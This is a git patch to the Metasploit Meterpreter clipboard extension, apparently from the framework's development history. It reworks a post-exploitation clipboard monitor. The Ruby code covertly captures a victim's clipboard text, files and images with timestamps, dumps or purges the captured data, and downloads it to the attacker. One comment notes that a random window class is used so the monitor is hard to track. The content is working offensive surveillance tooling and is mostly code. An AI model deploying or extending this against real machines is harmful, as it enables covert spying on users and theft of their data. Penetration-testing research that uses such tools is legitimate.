From 83358fbbf0b31a1e6bfb3567ee4e5df56f515a75 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 22 Jan 2014 22:56:13 +1000 Subject: [PATCH] More work on the clipboard monitor --- .../extensions/extapi/clipboard/clipboard.rb | 129 ++++--- .../post/meterpreter/extensions/extapi/tlv.rb | 13 +- .../command_dispatcher/extapi/clipboard.rb | 316 +++++++++++------- 3 files changed, 285 insertions(+), 173 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index 5c266608dd..e6eb0e5436 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -22,8 +22,6 @@ class Clipboard # Get the target clipboard data in whichever format we can # (if it's supported). def get_data(download = false) - results = [] - request = Packet.create_request('extapi_clipboard_get_data') if download @@ -32,42 +30,7 @@ class Clipboard response = client.send_request(request) - text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) - - if text - results << { - :type => :text, - :data => text - } - end - - files = [] - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f| - files << { - :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), - :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) - } - } - - if files.length > 0 - results << { - :type => :files, - :data => files - } - end - - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| - if jpg - results << { - :type => :jpg, - :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), - :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), - :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) - } - end - end - - return results + return parse_dump(response) end # Set the target clipboard data to a text value @@ -82,11 +45,9 @@ class Clipboard end def monitor_start(opts) - # TODO: add some smarts, a separate thread, etc to download the content request = Packet.create_request('extapi_clipboard_monitor_start') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES, opts[:files]) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES, opts[:images]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, opts[:cap_img]) return client.send_request(request) end @@ -95,18 +56,100 @@ class Clipboard return client.send_request(request) end + def monitor_dump(opts) + pull_img = opts[:include_images] + purge = opts[:purge] + + request = Packet.create_request('extapi_clipboard_monitor_dump') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge) + + response = client.send_request(request) + + return parse_dump(response) + end + def monitor_resume request = Packet.create_request('extapi_clipboard_monitor_resume') return client.send_request(request) end - def monitor_stop + def monitor_stop(opts) + dump = opts[:dump] + pull_img = opts[:include_images] + request = Packet.create_request('extapi_clipboard_monitor_stop') - return client.send_request(request) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + + response = client.send_request(request) + unless dump + return response + end + + return parse_dump(response) end attr_accessor :client +private + + def parse_dump(response) + results = [] + + texts = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t| + texts << { + :ts => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :text => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) + } + end + + if texts.length > 0 + results << { + :type => :text, + :data => texts + } + end + + files = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| + files << { + :ts => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), + :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) + } + end + + if files.length > 0 + results << { + :type => :files, + :data => files + } + end + + images = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| + if jpg + images << { + :ts => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), + :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), + :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) + } + end + end + + if images.length > 0 + results << { + :type => :jpg, + :data => images + } + end + + return results + end + end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 75c39cf830..95d2d73627 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35) -TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38) + +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) + TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43) @@ -40,9 +44,10 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) -TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 49) -TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) -TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) +TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index e94866ce1b..9a417a2528 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -21,9 +21,13 @@ class Console::CommandDispatcher::Extapi::Clipboard # def commands { - "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard", - "clipboard_monitor" => "Interact with the clipboard monitor" + "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", + "clipboard_set_text" => "Write text to the victim's clipboard", + "clipboard_monitor_start" => "Start the clipboard monitor", + "clipboard_monitor_pause" => "Pause the clipboard monitor (suspends capturing)", + "clipboard_monitor_resume" => "Resume the paused clipboard monitor (resumes capturing)", + "clipboard_monitor_dump" => "Dump all captured content", + "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -67,79 +71,14 @@ class Console::CommandDispatcher::Extapi::Clipboard end } - loot_dir = download_path || "." - if not ::File.directory?( loot_dir ) - ::FileUtils.mkdir_p( loot_dir ) - end + dump = client.extapi.clipboard.get_data(download_content) - # currently we only support text values - results = client.extapi.clipboard.get_data(download_content) - - if results.length == 0 + if dump.length == 0 print_error( "The current Clipboard data format is not supported." ) return false end - results.each { |r| - case r[:type] - when :text - print_line - print_line( "Current Clipboard Text" ) - print_line( "======================" ) - print_line - print_line( r[:data] ) - - when :jpg - print_line - print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" ) - - if download_content - file = Rex::Text.rand_text_alpha(8) + ".jpg" - path = File.join( loot_dir, file ) - path = ::File.expand_path( path ) - ::File.open( path, 'wb' ) do |f| - f.write r[:data] - end - print_good( "Clipboard image saved to #{path}" ) - else - print_line( "Re-run with -d to download image." ) - end - - when :files - if download_content - loot_dir = ::File.expand_path( loot_dir ) - print_line - print_status( "Downloading Clipboard Files ..." ) - r[:data].each { |f| - download_file( loot_dir, f[:name] ) - } - print_good( "Downloaded #{r[:data].length} file(s)." ) - print_line - else - table = Rex::Ui::Text::Table.new( - 'Header' => 'Current Clipboard Files', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'File Path', 'Size (bytes)' - ] - ) - - total = 0 - r[:data].each { |f| - table << [f[:name], f[:size]] - total += f[:size] - } - - print_line - print_line(table.to_s) - - print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) - end - end - - print_line - } + parse_dump(dump, download_content, download_content, download_path) return true end @@ -169,84 +108,114 @@ class Console::CommandDispatcher::Extapi::Clipboard return true end } - - return client.extapi.clipboard.set_text(args.join(" ")) +return client.extapi.clipboard.set_text(args.join(" ")) end # - # Options for the clipboard_get_data command. + # Options for the clipboard_monitor_start command. # - @@monitor_opts = Rex::Parser::Arguments.new( + @@monitor_start_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], - "-i" => [ false, "Automatically download image content" ], - "-f" => [ false, "Automatically download files" ], - "-l" => [ true, "Specifies the folder to write the clipboard loot to" ] + "-i" => [ true, "Capture image content when monitoring (default: true)" ] ) - def print_clipboard_monitor_usage() + # + # Help for the clipboard_monitor_start command. + # + def print_clipboard_monitor_start_usage() print( - "\nUsage: clipboard_monitor [-f] [-i] [-h]\n\n" + - "Starts or stops a background clipboard monitoring thread. The thread watches\n" + + "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" + + "Starts a background clipboard monitoring thread. The thread watches\n" + "the clipboard on the target, under the context of the current desktop, and when\n" + - "changes are detected the contents of the clipboard are returned to the attacker.\n\n" + - " - start - starts the clipboard monitor with the given arguments if\n" + - " the thread is not already running.\n" + - " - pause - pauses a currently running clipboard monitor thread.\n" + - " - resume - resumes a currently paused clipboard monitor thread.\n" + - " - stop - stops a currently running or paused clipboard monitor thread.\n" + - @@monitor_opts.usage + "\n") + "changes are detected the contents of the clipboard are captured. Contents can be\n" + + "dumped periodically. Image content can be captured as well (and will be by default)\n" + + "however this can consume quite a bit of memory.\n\n" + + @@monitor_start_opts.usage + "\n") end - def cmd_clipboard_monitor(*args) - args.unshift "-h" if args.length == 0 - download_files = false - download_images = false - loot_dir = nil + # + # Start the clipboard monitor. + # + def cmd_clipboard_monitor_start(*args) + capture_images = true @@set_text_opts.parse(args) { |opt, idx, val| case opt - when "-f" - download_files = true when "-i" - download_images = true - when "-l" - loot_dir = val + # default this to true + capture_images = val.downcase != 'false' when "-h" - print_clipboard_monitor_usage + print_clipboard_monitor_start_usage return true end } - case args.shift - when "start" - loot_dir = generate_loot_dir(true) unless loot_dir - print_status("Clipboard monitor looting to #{loot_dir} ...") - print_status("Download files? #{download_files ? "Yes" : "No"}") - print_status("Download images? #{download_images ? "Yes" : "No"}") - - client.extapi.clipboard.monitor_start({ - # random class and window name so that it isn't easy - # to track via a script - :wincls => Rex::Text.rand_text_alpha(8), - :loot => loot_dir, - :files => download_files, - :iamges => download_images - }) - print_good("Clipboard monitor started") - when "pause" - client.extapi.clipboard.monitor_pause - print_good("Clipboard monitor paused") - when "resume" - client.extapi.clipboard.monitor_resume - print_good("Clipboard monitor resumed") - when "stop" - client.extapi.clipboard.monitor_stop - print_good("Clipboard monitor stopped") - end + client.extapi.clipboard.monitor_start({ + # random class and window name so that it isn't easy + # to track via a script + :wincls => Rex::Text.rand_text_alpha(8), + :cap_img => capture_images + }) + print_good("Clipboard monitor started") end -protected + # + # Options for the clipboard_monitor_stop command. + # + @@monitor_stop_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + ) + + # + # Help for the clipboard_monitor_stop command. + # + def print_clipboard_monitor_stop_usage() + print( + "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" + + "Stops a clipboard monitor thread and returns the captured data to the attacker.\n\n" + + @@monitor_stop_opts.usage + "\n") + end + + # + # Stop the clipboard monitor. + # + def cmd_clipboard_monitor_stop(*args) + dump_data = true + download_images = true + download_files = true + download_path = nil + + @@set_text_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-x" + dump_data = val.downcase != 'false' + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-h" + print_clipboard_monitor_stop_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_stop({ + :dump => dump_data, + :include_images => download_images + }) + + parse_dump(dump, download_images, download_files, download_path) if dump_data + + print_good("Clipboard monitor stopped") + end + +private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) @@ -266,6 +235,101 @@ protected end end + def parse_dump(dump, get_images, get_files, download_path) + loot_dir = download_path || "." + if not ::File.directory?( loot_dir ) + ::FileUtils.mkdir_p( loot_dir ) + end + + dump.each do |r| + case r[:type] + when :text + print_line + + r[:data].each do |x| + title = "Text captured at #{x[:ts]}" + under = "-" * title.length + print_line(title) + print_line(under) + print_line(x[:text]) + print_line(under) + print_line + end + + when :jpg + print_line + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Clipboard Images', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Time Captured', 'Width', 'Height' + ] + ) + + r[:data].each do |x| + table << [x[:ts], x[:width], x[:height]] + end + + print_line + print_line(table.to_s) + + if get_images + print_line + print_status( "Downloading Clipboard Images ..." ) + r[:data].each do |j| + file = "#{j[:ts].gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" + path = File.join( loot_dir, file ) + path = ::File.expand_path( path ) + ::File.open( path, 'wb' ) do |x| + x.write j[:data] + end + print_good( "Clipboard image #{j[:width]}x#{j[:height]} saved to #{path}" ) + end + else + print_line( "Re-run with -d to download image(s)." ) + end + print_line + + when :files + print_line + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Clipboard Files', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Time Captured', 'File Path', 'Size (bytes)' + ] + ) + + total = 0 + r[:data].each do |x| + table << [x[:ts], x[:name], x[:size]] + total += x[:size] + end + + print_line + print_line(table.to_s) + + print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) + + if get_files + loot_dir = ::File.expand_path( loot_dir ) + print_line + print_status( "Downloading Clipboard Files ..." ) + r[:data].each do |f| + download_file( loot_dir, f[:name] ) + end + print_good( "Downloaded #{r[:data].length} file(s)." ) + else + print_line( "Re-run with -d to download file(s)." ) + end + end + end + end + end end